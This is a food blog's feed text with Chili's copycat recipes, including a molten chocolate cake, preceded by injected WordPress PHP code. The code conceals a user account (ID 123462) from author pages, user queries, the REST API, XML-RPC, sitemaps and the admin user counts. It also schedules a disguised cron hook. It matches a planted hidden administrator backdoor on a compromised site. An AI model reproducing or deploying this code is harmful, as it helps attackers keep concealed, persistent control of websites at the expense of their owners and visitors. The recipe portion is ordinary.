add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 123462;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 123462 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 123462 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 123462;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 123462;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 123462;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/123462(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 123462;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );

The post Philly Cheesesteak From Chili's first appeared on Damn That Looks Good.
]]>The post Secret Recipes: Molten Chocolate Cake From Chili's first appeared on Damn That Looks Good.
]]>
Ingredients:
For the Cakes:
6 tablespoons unsalted butter (2 tablespoons melted, 4 tablespoons at room temperature)
1/2 cup natural (not Dutch-process) cocoa powder, plus more for dusting
1 1/3 cups all-purpose flour
1 teaspoon baking soda
1/2 teaspoon baking powder
1/2 teaspoon salt
3 tablespoons milk
1/4 cup vegetable oil
1 1/3 cups sugar
1 1/2 teaspoons vanilla extract
2 large eggs, at room temperature
For the Fillings and Toppings:
• 8 ounces bittersweet chocolate, finely chopped
• 1/2 cup heavy cream
• 4 tablespoons unsalted butter
• 1 tablespoon light corn syrup
• Caramel sauce, for drizzling
• 1 pint vanilla ice cream
Directions:
Preheat the oven to 350 degrees F. Make the cakes: Brush four 1 1/4-cup brioche molds (or use 10-ounce ramekins or jumbo muffin cups) with the 2 tablespoons melted butter. Dust the molds with cocoa powder and tap out the excess.
Whisk the flour, baking soda, baking powder and salt in a small bowl. Bring the milk and 3/4 cup water to a simmer in a saucepan over medium heat; set aside.
Combine the vegetable oil, 4 tablespoons room-temperature butter and the sugar in a stand mixer and beat with the paddle attachment on medium-high speed until fluffy, about 4 minutes, scraping down the bowl and beater as needed. Add 1/2 cup cocoa powder and the vanilla; beat 1 minute on medium speed. Scrape down the bowl. Add 1 egg and beat 1 minute on medium-low speed, then add the remaining egg and beat 1 more minute.
With the mixer on low speed, gradually beat in the flour mixture, then the hot milk mixture. Finish mixing the batter with a rubber spatula until combined. Divide the batter evenly among the molds, filling each slightly more than three-quarters of the way.
Transfer the molds to a baking sheet and bake until the tops of the cakes are domed and the centers are just barely set, 25 to 30 minutes. Transfer the baking sheet to a rack; let the cakes cool until they pull away from the molds, about 30 minutes.
How To Assemble the Cake:
Make the Filling: Microwave the chocolate, cream, butter and corn syrup in a microwave-safe bowl in 30-second intervals, stirring each time, until the chocolate starts to melt, 1 minute, 30 seconds. Let sit 3 minutes, then whisk until smooth. Reheat before using, if necessary.
Use the tip of a paring knife to gently loosen the cakes from the molds, then invert the cakes onto a cutting board.
Use the knife to cut a 1 1/2-inch circle on the top of each cake, cutting almost to the bottom.
Hollow out the cake with a spoon; save the scraps. Wrap the cakes with plastic wrap and microwave until steaming, 1 minute.
Drizzle plates with caramel, then unwrap the cakes and place on top. Pour about 3 tablespoons filling into each cake.
Plug the hole with a cake scrap. Save or discard any remaining scraps.
Top each cake with a scoop of ice cream. Spoon more chocolate sauce on top, spreading it thin so it hardens into a shell.
The post Secret Recipes: Molten Chocolate Cake From Chili's first appeared on Damn That Looks Good.
]]>The post Triple Dipper From Chili's first appeared on Damn That Looks Good.
]]>
Blackened chicken sliders, loaded potato skins, and boneless Buffalo wings.
The post Triple Dipper From Chili's first appeared on Damn That Looks Good.
]]>The post The Quesadilla Burger From Chili's first appeared on Damn That Looks Good.
]]>
Waitress: What would you like?
Tom (A DTLG visitor): This is a bit of a stretch but stay with me, I would like the Southern Smokehouse Bacon Burger, but instead of tomato, lettuce, and pickle, can I get a bacon ranch quesadilla?
The post The Quesadilla Burger From Chili's first appeared on Damn That Looks Good.
]]>